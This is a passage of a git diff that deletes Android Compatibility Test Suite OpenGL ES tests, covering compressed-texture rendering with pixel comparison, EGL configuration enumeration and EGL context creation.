-        String extensionList = GLES20.glGetString(GLES20.GL_EXTENSIONS);
-
-        for (String extension : extensionList.split(" ")) {
-            sExtensionMap.put(extension, true);
-        }
-
-        // Check ETC1
-        sFormatMap.put(TEXTURE_ETC1, ETC1Util.isETC1Supported());
-        // Check ATC
-        if (sExtensionMap.get("GL_AMD_compressed_ATC_texture") != null ||
-            sExtensionMap.get("GL_ATI_compressed_texture_atitc") != null ||
-            sExtensionMap.get("GL_ATI_texture_compression_atitc") != null) {
-            sFormatMap.put(TEXTURE_ATC, true);
-        }
-        // Check DXT
-        if (sExtensionMap.get("GL_EXT_texture_compression_dxt1") != null ||
-            sExtensionMap.get("GL_EXT_texture_compression_s3tc") != null ||
-            sExtensionMap.get("OES_texture_compression_S3TC") != null) {
-            sFormatMap.put(TEXTURE_S3TC, true);
-        }
-        // Check DXT
-        if (sExtensionMap.get("GL_IMG_texture_compression_pvrtc") != null) {
-            sFormatMap.put(TEXTURE_PVRTC, true);
-        }
-
-        /*Log.i(TAG, "mIsSupportedETC1 " + sFormatMap.get(TEXTURE_ETC1));
-        Log.i(TAG, "mIsSupportedATC " + sFormatMap.get(TEXTURE_ATC));
-        Log.i(TAG, "mIsSupportedDXT " + sFormatMap.get(TEXTURE_S3TC));
-        Log.i(TAG, "mIsSupportedPVRTC " + sFormatMap.get(TEXTURE_PVRTC));*/
-    }
-
-    private static boolean isFormatSupported(String format) {
-        updateSupportedFormats();
-        Boolean supported = sFormatMap.get(format);
-        return supported != null ? supported : false;
-    }
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureSurfaceView.java b/tests/tests/graphics/src/android/opengl/cts/CompressedTextureSurfaceView.java
deleted file mode 100644
index 9437c58..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureSurfaceView.java
+++ /dev/null
@@ -1,423 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-import java.io.IOException;
-import java.nio.Buffer;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.nio.FloatBuffer;
-import java.util.ArrayList;
-import java.util.HashMap;
-
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.opengles.GL10;
-
-import android.graphics.cts.R;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
-import android.graphics.BitmapFactory;
-import android.graphics.Color;
-import android.graphics.SurfaceTexture;
-import android.opengl.ETC1;
-import android.opengl.ETC1Util;
-import android.opengl.GLES20;
-import android.opengl.GLSurfaceView;
-import android.opengl.GLUtils;
-import android.opengl.Matrix;
-import android.util.Log;
-import android.view.Surface;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-class CompressedTextureSurfaceView extends GLSurfaceView {
-    private static final String TAG = "CompressedTextureSurfaceView";
-    private static final int SLEEP_TIME_MS = 1000;
-
-    CompressedTextureRender mRenderer;
-
-    public CompressedTextureSurfaceView(Context context,
-                                        Bitmap base,
-                                        CompressedTextureLoader.Texture compressed) {
-        super(context);
-
-        setEGLContextClientVersion(2);
-        mRenderer = new CompressedTextureRender(context, base, compressed);
-        setRenderer(mRenderer);
-        setRenderMode(RENDERMODE_WHEN_DIRTY);
-    }
-
-    @Override
-    public void onResume() {
-        super.onResume();
-    }
-
-    public boolean getTestPassed() throws InterruptedException {
-        return mRenderer.getTestPassed();
-    }
-
-    private static class CompressedTextureRender implements GLSurfaceView.Renderer {
-        private static String TAG = "CompressedTextureRender";
-
-        private static final int ALLOWED_DELTA = 25;
-        private static final int FBO_PIXEL_SIZE_BYTES = 4;
-        private static final int FLOAT_SIZE_BYTES = 4;
-        private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
-        private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
-        private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
-        private final float[] mTriangleVerticesData = {
-            // X, Y, Z, U, V
-            -1.0f, -1.0f, 0, 0.f, 0.f,
-            1.0f, -1.0f, 0, 1.f, 0.f,
-            -1.0f,  1.0f, 0, 0.f, 1.f,
-            1.0f,  1.0f, 0, 1.f, 1.f,
-        };
-
-        private FloatBuffer mTriangleVertices;
-
-        private final String mVertexShader =
-                "uniform mat4 uMVPMatrix;\n" +
-                "attribute vec4 aPosition;\n" +
-                "attribute vec4 aTextureCoord;\n" +
-                "varying vec2 vTextureCoord;\n" +
-                "void main() {\n" +
-                "  gl_Position = uMVPMatrix * aPosition;\n" +
-                "  vTextureCoord = aTextureCoord.xy;\n" +
-                "}\n";
-
-        private final String mFragmentShader =
-                "precision mediump float;\n" +
-                "varying vec2 vTextureCoord;\n" +
-                "uniform sampler2D sTexture;\n" +
-                "void main() {\n" +
-                "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
-                "}\n";
-
-        private float[] mMVPMatrix = new float[16];
-        private float[] mSTMatrix = new float[16];
-
-        private int mProgram;
-        private int mTextureID;
-        private int muMVPMatrixHandle;
-        private int maPositionHandle;
-        private int maTextureHandle;
-        private int msTextureHandle;
-
-        private int mColorTargetID;
-        private int mFrameBufferObjectID;
-
-        private boolean updateSurface = false;
-
-        private boolean mTestPassed;
-        private CountDownLatch mDoneSignal;
-
-        Bitmap mBaseTexture;
-        CompressedTextureLoader.Texture mCompressedTexture;
-
-        int mWidth;
-        int mHeight;
-
-        ByteBuffer mReadBackBuffer;
-
-        boolean getTestPassed() throws InterruptedException {
-            if (!mDoneSignal.await(2000L, TimeUnit.MILLISECONDS)) {
-                throw new IllegalStateException("Coudn't finish drawing frames!");
-            }
-
-            return mTestPassed;
-        }
-
-        public CompressedTextureRender(Context context,
-                                       Bitmap base,
-                                       CompressedTextureLoader.Texture compressed) {
-            mBaseTexture = base;
-            mCompressedTexture = compressed;
-            mTriangleVertices = ByteBuffer.allocateDirect(
-                mTriangleVerticesData.length * FLOAT_SIZE_BYTES)
-                    .order(ByteOrder.nativeOrder()).asFloatBuffer();
-            mTriangleVertices.put(mTriangleVerticesData).position(0);
-
-            Matrix.setIdentityM(mSTMatrix, 0);
-
-            int byteBufferSize = mBaseTexture.getWidth() *
-                                 mBaseTexture.getHeight() *
-                                 FBO_PIXEL_SIZE_BYTES;
-            mReadBackBuffer = ByteBuffer.allocateDirect(byteBufferSize);
-
-            mDoneSignal = new CountDownLatch(1);
-        }
-
-        private void renderQuad(int textureID) {
-            GLES20.glUseProgram(mProgram);
-            checkGlError("glUseProgram");
-
-            GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
-            GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, textureID);
-
-            mTriangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
-            GLES20.glVertexAttribPointer(maPositionHandle, 3, GLES20.GL_FLOAT, false,
-                TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
-            checkGlError("glVertexAttribPointer maPosition");
-            GLES20.glEnableVertexAttribArray(maPositionHandle);
-            checkGlError("glEnableVertexAttribArray maPositionHandle");
-
-            mTriangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
-            GLES20.glVertexAttribPointer(maTextureHandle, 2, GLES20.GL_FLOAT, false,
-                TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
-            checkGlError("glVertexAttribPointer maTextureHandle");
-            GLES20.glEnableVertexAttribArray(maTextureHandle);
-            checkGlError("glEnableVertexAttribArray maTextureHandle");
-
-            Matrix.setIdentityM(mMVPMatrix, 0);
-            GLES20.glUniformMatrix4fv(muMVPMatrixHandle, 1, false, mMVPMatrix, 0);
-
-            GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
-            checkGlError("glDrawArrays");
-        }
-
-        private int getUnsignedByte(byte val) {
-            return 0xFF & ((int)val);
-        }
-
-        private boolean comparePixel(int x, int y) {
-            int w = mBaseTexture.getWidth();
-            int sampleStart = (y * w + x) * FBO_PIXEL_SIZE_BYTES;
-
-            int R = getUnsignedByte(mReadBackBuffer.get(sampleStart));
-            int G = getUnsignedByte(mReadBackBuffer.get(sampleStart + 1));
-            int B = getUnsignedByte(mReadBackBuffer.get(sampleStart + 2));
-
-            int original = mBaseTexture.getPixel(x, y);
-
-            int deltaR = Math.abs(R - Color.red(original));
-            int deltaG = Math.abs(G - Color.green(original));
-            int deltaB = Math.abs(B - Color.blue(original));
-
-            if (deltaR <= ALLOWED_DELTA &&
-                deltaG <= ALLOWED_DELTA &&
-                deltaB <= ALLOWED_DELTA) {
-                return true;
-            }
-
-            Log.i("PIXEL DELTA", "R: " + deltaR + " G: " + deltaG + " B: " + deltaB);
-
-            return false;
-        }
-
-        private void comparePixels() {
-            int w = mBaseTexture.getWidth();
-            int h = mBaseTexture.getWidth();
-            int wOver4 = w / 4;
-            int hOver4 = h / 4;
-
-            // Sample 4 points in the image. Test is designed so that
-            // sample areas are low frequency and easy to compare
-            boolean sample1Matches = comparePixel(wOver4, hOver4);
-            boolean sample2Matches = comparePixel(wOver4 * 3, hOver4);
-            boolean sample3Matches = comparePixel(wOver4, hOver4 * 3);
-            boolean sample4Matches = comparePixel(wOver4 * 3, hOver4 * 3);
-
-            mTestPassed = sample1Matches && sample2Matches && sample3Matches && sample4Matches;
-            mDoneSignal.countDown();
-        }
-
-        public void onDrawFrame(GL10 glUnused) {
-            if (mProgram == 0) {
-                return;
-            }
-
-            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, mFrameBufferObjectID);
-            GLES20.glViewport(0, 0, mBaseTexture.getWidth(), mBaseTexture.getHeight());
-            GLES20.glClearColor(1.0f, 1.0f, 1.0f, 1.0f);
-            renderQuad(mTextureID);
-            GLES20.glReadPixels(0, 0, mBaseTexture.getWidth(), mBaseTexture.getHeight(),
-                                GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, mReadBackBuffer);
-            comparePixels();
-            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, 0);
-
-            GLES20.glViewport(0, 0, mWidth, mHeight);
-            GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
-            GLES20.glClear( GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
-
-            renderQuad(mColorTargetID);
-
-            GLES20.glFinish();
-        }
-
-        public void onSurfaceChanged(GL10 glUnused, int width, int height) {
-            mWidth = width;
-            mHeight = height;
-        }
-
-        private void setupSamplers() {
-            GLES20.glTexParameteri(GLES20.GL_TEXTURE_2D,
-                    GLES20.GL_TEXTURE_WRAP_S, GLES20.GL_CLAMP_TO_EDGE);
-            GLES20.glTexParameteri(GLES20.GL_TEXTURE_2D,
-                    GLES20.GL_TEXTURE_WRAP_T, GLES20.GL_CLAMP_TO_EDGE);
-            GLES20.glTexParameterf(GLES20.GL_TEXTURE_2D,
-                    GLES20.GL_TEXTURE_MIN_FILTER, GLES20.GL_LINEAR);
-            GLES20.glTexParameterf(GLES20.GL_TEXTURE_2D,
-                    GLES20.GL_TEXTURE_MAG_FILTER, GLES20.GL_LINEAR);
-        }
-
-        private void initFBO() {
-            int[] textures = new int[1];
-            GLES20.glGenTextures(1, textures, 0);
-
-            mColorTargetID = textures[0];
-            GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, mColorTargetID);
-            checkGlError("glBindTexture mColorTargetID");
-            setupSamplers();
-            GLES20.glTexImage2D(GLES20.GL_TEXTURE_2D, 0, GLES20.GL_RGBA,
-                                mBaseTexture.getWidth(), mBaseTexture.getHeight(), 0,
-                                GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, null);
-            checkGlError("glTexImage2D mColorTargetID");
-
-            GLES20.glGenFramebuffers(1, textures, 0);
-            mFrameBufferObjectID = textures[0];
-            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, mFrameBufferObjectID);
-
-            GLES20.glFramebufferTexture2D(GLES20.GL_FRAMEBUFFER, GLES20.GL_COLOR_ATTACHMENT0,
-                                          GLES20.GL_TEXTURE_2D, mColorTargetID, 0);
-
-            int status = GLES20.glCheckFramebufferStatus(GLES20.GL_FRAMEBUFFER);
-            if(status != GLES20.GL_FRAMEBUFFER_COMPLETE) {
-                throw new RuntimeException("Failed to initialize framebuffer object");
-            }
-
-            GLES20.glBindFramebuffer(GLES20.GL_FRAMEBUFFER, 0);
-        }
-
-        public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
-            if (mCompressedTexture != null && !mCompressedTexture.isSupported()) {
-                mTestPassed = true;
-                mDoneSignal.countDown();
-                return;
-            }
-
-            initFBO();
-
-            mProgram = createProgram(mVertexShader, mFragmentShader);
-            if (mProgram == 0) {
-                return;
-            }
-            maPositionHandle = GLES20.glGetAttribLocation(mProgram, "aPosition");
-            checkGlError("glGetAttribLocation aPosition");
-            if (maPositionHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for aPosition");
-            }
-            maTextureHandle = GLES20.glGetAttribLocation(mProgram, "aTextureCoord");
-            checkGlError("glGetAttribLocation aTextureCoord");
-            if (maTextureHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for aTextureCoord");
-            }
-
-            muMVPMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uMVPMatrix");
-            checkGlError("glGetUniformLocation uMVPMatrix");
-            if (muMVPMatrixHandle == -1) {
-                throw new RuntimeException("Could not get attrib location for uMVPMatrix");
-            }
-
-            int[] textures = new int[1];
-            GLES20.glGenTextures(1, textures, 0);
-
-            mTextureID = textures[0];
-            GLES20.glBindTexture(GLES20.GL_TEXTURE_2D, mTextureID);
-            checkGlError("glBindTexture mTextureID");
-            setupSamplers();
-
-            if (mCompressedTexture == null) {
-                GLUtils.texImage2D(GLES20.GL_TEXTURE_2D, 0, mBaseTexture, 0);
-                checkGlError("texImage2D mBaseTexture");
-            } else {
-                GLES20.glCompressedTexImage2D(GLES20.GL_TEXTURE_2D,
-                                              0,
-                                              mCompressedTexture.getFormat(),
-                                              mCompressedTexture.getWidth(),
-                                              mCompressedTexture.getHeight(),
-                                              0,
-                                              mCompressedTexture.getData().remaining(),
-                                              mCompressedTexture.getData());
-                checkGlError("glCompressedTexImage2D mTextureID");
-            }
-        }
-
-        synchronized public void onFrameAvailable(SurfaceTexture surface) {
-            updateSurface = true;
-        }
-
-        private int loadShader(int shaderType, String source) {
-            int shader = GLES20.glCreateShader(shaderType);
-            if (shader != 0) {
-                GLES20.glShaderSource(shader, source);
-                GLES20.glCompileShader(shader);
-                int[] compiled = new int[1];
-                GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
-                if (compiled[0] == 0) {
-                    Log.e(TAG, "Could not compile shader " + shaderType + ":");
-                    Log.e(TAG, GLES20.glGetShaderInfoLog(shader));
-                    GLES20.glDeleteShader(shader);
-                    shader = 0;
-                }
-            }
-            return shader;
-        }
-
-        private int createProgram(String vertexSource, String fragmentSource) {
-            int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
-            if (vertexShader == 0) {
-                return 0;
-            }
-            int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
-            if (pixelShader == 0) {
-                return 0;
-            }
-
-            int program = GLES20.glCreateProgram();
-            if (program != 0) {
-                GLES20.glAttachShader(program, vertexShader);
-                checkGlError("glAttachShader");
-                GLES20.glAttachShader(program, pixelShader);
-                checkGlError("glAttachShader");
-                GLES20.glLinkProgram(program);
-                int[] linkStatus = new int[1];
-                GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
-                if (linkStatus[0] != GLES20.GL_TRUE) {
-                    Log.e(TAG, "Could not link program: ");
-                    Log.e(TAG, GLES20.glGetProgramInfoLog(program));
-                    GLES20.glDeleteProgram(program);
-                    program = 0;
-                }
-            }
-            return program;
-        }
-
-        private void checkGlError(String op) {
-            int error;
-            while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
-                Log.e(TAG, op + ": glError " + error);
-                throw new RuntimeException(op + ": glError " + error);
-            }
-        }
-
-    }  // End of class CompressedTextureRender.
-
-}  // End of class CompressedTextureSurfaceView.
diff --git a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureTest.java b/tests/tests/graphics/src/android/opengl/cts/CompressedTextureTest.java
deleted file mode 100644
index 09902df..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/CompressedTextureTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
-
-/**
- */
-public class CompressedTextureTest extends ActivityInstrumentationTestCase2<CompressedTextureCtsActivity> {
-
-    public CompressedTextureTest() {
-        super("android.graphics.cts", CompressedTextureCtsActivity.class);
-    }
-
-    private void launchTest(String format) throws Exception {
-        Bundle extras = new Bundle();
-        extras.putString("TextureFormat", format);
-        CompressedTextureCtsActivity activity = launchActivity("android.graphics.cts",
-                CompressedTextureCtsActivity.class, extras);
-        activity.finish();
-        assertTrue(activity.getPassed());
-    }
-
-    public void testTextureUncompressed() throws Exception {
-        launchTest(CompressedTextureLoader.TEXTURE_UNCOMPRESSED);
-    }
-
-    public void testTextureETC1() throws Exception {
-        launchTest(CompressedTextureLoader.TEXTURE_ETC1);
-    }
-
-    public void testTexturePVRTC() throws Exception {
-        launchTest(CompressedTextureLoader.TEXTURE_PVRTC);
-    }
-
-    public void testTextureS3TC() throws Exception {
-        launchTest(CompressedTextureLoader.TEXTURE_S3TC);
-    }
-
-    /*public void testTextureATC() throws Exception {
-        launchTest(CompressedTextureLoader.TEXTURE_ATC);
-    }*/
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/EglConfigTest.java b/tests/tests/graphics/src/android/opengl/cts/EglConfigTest.java
deleted file mode 100644
index 1468382..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/EglConfigTest.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
-
-import javax.microedition.khronos.egl.EGL10;
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.egl.EGLContext;
-import javax.microedition.khronos.egl.EGLDisplay;
-
-/**
- * Test that gets a list of EGL configurations and tries to use each one in a GLSurfaceView.
- */
-public class EglConfigTest extends ActivityInstrumentationTestCase2<EglConfigCtsActivity> {
-
-    private static final int EGL_OPENGL_ES_BIT = 0x1;
-
-    private static final int EGL_OPENGL_ES2_BIT = 0x4;
-
-    private Instrumentation mInstrumentation;
-
-    public EglConfigTest() {
-        super("android.graphics.cts", EglConfigCtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-    }
-
-    public void testEglConfigs() throws Exception {
-        int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
-        int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
-        assertTrue(configIds.length + configIds2.length > 0);
-        runConfigTests(configIds, 1);
-        runConfigTests(configIds2, 2);
-    }
-
-    private void runConfigTests(int[] configIds, int contextClientVersion)
-            throws InterruptedException {
-        for (int configId : configIds) {
-            Bundle extras = new Bundle();
-            extras.putInt(EglConfigCtsActivity.CONFIG_ID_EXTRA, configId);
-            extras.putInt(EglConfigCtsActivity.CONTEXT_CLIENT_VERSION_EXTRA, contextClientVersion);
-            EglConfigCtsActivity activity = launchActivity("android.graphics.cts",
-                    EglConfigCtsActivity.class, extras);
-            activity.waitToFinishDrawing();
-            // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
-            Thread.sleep(500);
-            activity.finish();
-            mInstrumentation.waitForIdleSync();
-        }
-    }
-
-    private static int[] getEglConfigIds(int renderableType) {
-        EGL10 egl = (EGL10) EGLContext.getEGL();
-        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-        int[] numConfigs = new int[1];
-
-        int[] attributeList = new int[] {
-                EGL10.EGL_RENDERABLE_TYPE, renderableType,
-
-                // Avoid configs like RGBA0008 which crash even though they have the window bit set.
-                EGL10.EGL_RED_SIZE, 1,
-                EGL10.EGL_GREEN_SIZE, 1,
-                EGL10.EGL_BLUE_SIZE, 1,
-
-                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
-                EGL10.EGL_NONE
-        };
-
-        if (egl.eglInitialize(display, null)) {
-            try {
-                if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
-                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
-                    if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
-                            numConfigs)) {
-                        int[] configIds = new int[numConfigs[0]];
-                        for (int i = 0; i < numConfigs[0]; i++) {
-                            int[] value = new int[1];
-                            if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
-                                    value)) {
-                                configIds[i] = value[0];
-                            } else {
-                              throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
-                            }
-                        }
-                        return configIds;
-                    } else {
-                        throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
-                    }
-                } else {
-                    throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
-                }
-            } finally {
-                egl.eglTerminate(display);
-            }
-        } else {
-            throw new IllegalStateException("Couldn't initialize EGL.");
-        }
-    }
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/EglContextTest.java b/tests/tests/graphics/src/android/opengl/cts/EglContextTest.java
deleted file mode 100644
index 8f5ced7..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/EglContextTest.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-import android.app.Activity;
-import android.opengl.EGL14;
-import android.opengl.EGLConfig;
-import android.opengl.EGLContext;
-import android.opengl.EGLDisplay;
-import android.opengl.GLES20;
-import android.test.ActivityInstrumentationTestCase2;
-
-/**
- * Tests using EGL contexts.
- */
-public class EglContextTest extends ActivityInstrumentationTestCase2<Activity> {
-
-    public EglContextTest() {
-        super(Activity.class);
-    }
-
-    /**
-     * Tests creating then releasing an EGL context.
-     */
-    public void testCreateAndReleaseContext() {
-        EGLDisplay eglDisplay = null;
-        EGLContext eglContext = null;
-        try {
-            eglDisplay = createEglDisplay();
-            eglContext = createEglContext(eglDisplay);
-            destroyEglContext(eglDisplay, eglContext);
-            eglDisplay = null;
-            eglContext = null;
-        } finally {
-            if (eglDisplay != null) {
-                if (eglContext != null) {
-                    EGL14.eglDestroyContext(eglDisplay, eglContext);
-                }
-
-                EGL14.eglTerminate(eglDisplay);
-            }
-        }
-    }
-
-    /**
-     * Returns an initialized default display.
-     */
-    private static EGLDisplay createEglDisplay() {
-        EGLDisplay eglDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
-        if (eglDisplay == EGL14.EGL_NO_DISPLAY) {
-            throw new IllegalStateException("no EGL display");
-        }
-
-        int[] major = new int[1];
-        int[] minor = new int[1];
-        if (!EGL14.eglInitialize(eglDisplay, major, 0, minor, 0)) {
-            throw new IllegalStateException("error in eglInitialize");
-        }
-        checkGlError();
-
-        return eglDisplay;
-    }
-
-    /**
-     * Returns a new GL context for the specified {@code eglDisplay}.
-     */
-    private static EGLContext createEglContext(EGLDisplay eglDisplay) {
-        int[] contextAttributes = { EGL14.EGL_CONTEXT_CLIENT_VERSION, 2, EGL14.EGL_NONE };
-        EGLContext eglContext = EGL14.eglCreateContext(eglDisplay,
-                getEglConfig(eglDisplay), EGL14.EGL_NO_CONTEXT, contextAttributes, 0);
-        checkGlError();
-
-        return eglContext;
-    }
-
-    /**
-     * Destroys the GL context identifier by {@code eglDisplay} and {@code eglContext}.
-     */
-    private static void destroyEglContext(EGLDisplay eglDisplay, EGLContext eglContext) {
-        EGL14.eglMakeCurrent(eglDisplay,
-                EGL14.EGL_NO_SURFACE,
-                EGL14.EGL_NO_SURFACE,
-                EGL14.EGL_NO_CONTEXT);
-        int error = EGL14.eglGetError();
-        if (error != EGL14.EGL_SUCCESS) {
-            throw new RuntimeException("error releasing context: " + error);
-        }
-
-        EGL14.eglDestroyContext(eglDisplay, eglContext);
-        error = EGL14.eglGetError();
-        if (error != EGL14.EGL_SUCCESS) {
-            throw new RuntimeException("error destroying context: " + error);
-        }
-
-        EGL14.eglReleaseThread();
-        error = EGL14.eglGetError();
-        if (error != EGL14.EGL_SUCCESS) {
-            throw new RuntimeException("error releasing thread: " + error);
-        }
-
-        EGL14.eglTerminate(eglDisplay);
-        error = EGL14.eglGetError();
-        if (error != EGL14.EGL_SUCCESS) {
-            throw new RuntimeException("error terminating display: " + error);
-        }
-    }
-
-    private static EGLConfig getEglConfig(EGLDisplay eglDisplay) {
-        // Get an EGLConfig.
-        final int EGL_OPENGL_ES2_BIT = 4;
-        final int RED_SIZE = 8;
-        final int GREEN_SIZE = 8;
-        final int BLUE_SIZE = 8;
-        final int ALPHA_SIZE = 8;
-        final int DEPTH_SIZE = 0;
-        final int STENCIL_SIZE = 0;
-        final int[] DEFAULT_CONFIGURATION = new int[] {
-                EGL14.EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
-                EGL14.EGL_RED_SIZE, RED_SIZE,
-                EGL14.EGL_GREEN_SIZE, GREEN_SIZE,
-                EGL14.EGL_BLUE_SIZE, BLUE_SIZE,
-                EGL14.EGL_ALPHA_SIZE, ALPHA_SIZE,
-                EGL14.EGL_DEPTH_SIZE, DEPTH_SIZE,
-                EGL14.EGL_STENCIL_SIZE, STENCIL_SIZE,
-                EGL14.EGL_NONE};
-
-        int[] configsCount = new int[1];
-        EGLConfig[] eglConfigs = new EGLConfig[1];
-        if (!EGL14.eglChooseConfig(
-                eglDisplay, DEFAULT_CONFIGURATION, 0, eglConfigs, 0, 1, configsCount, 0)) {
-            throw new RuntimeException("eglChooseConfig failed");
-        }
-        return eglConfigs[0];
-    }
-
-    /**
-     * Checks for a GL error using {@link GLES20#glGetError()}.
-     *
-     * @throws RuntimeException if there is a GL error
-     */
-    private static void checkGlError() {
-        int errorCode;
-        if ((errorCode = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
-            throw new RuntimeException("gl error: " + Integer.toHexString(errorCode));
-        }
-    }
-
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/GLSurfaceViewCtsActivity.java b/tests/tests/graphics/src/android/opengl/cts/GLSurfaceViewCtsActivity.java
deleted file mode 100644
index 9557406..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/GLSurfaceViewCtsActivity.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-import android.app.Activity;
-import android.opengl.GLSurfaceView;
-import android.os.Bundle;
-import android.view.Window;
-
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.opengles.GL10;
-
-/**
- * A minimal activity for testing {@link android.opengl.GLSurfaceView}.
- * Also accepts non-blank renderers to allow its use for more complex tests.
- */
-public class GLSurfaceViewCtsActivity extends Activity {
-
-    private static class Renderer implements GLSurfaceView.Renderer {
-
-        public void onDrawFrame(GL10 gl) {
-            // Do nothing.
-        }
-
-        public void onSurfaceChanged(GL10 gl, int width, int height) {
-            // Do nothing.
-        }
-
-        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
-            // Do nothing.
-        }
-    }
-
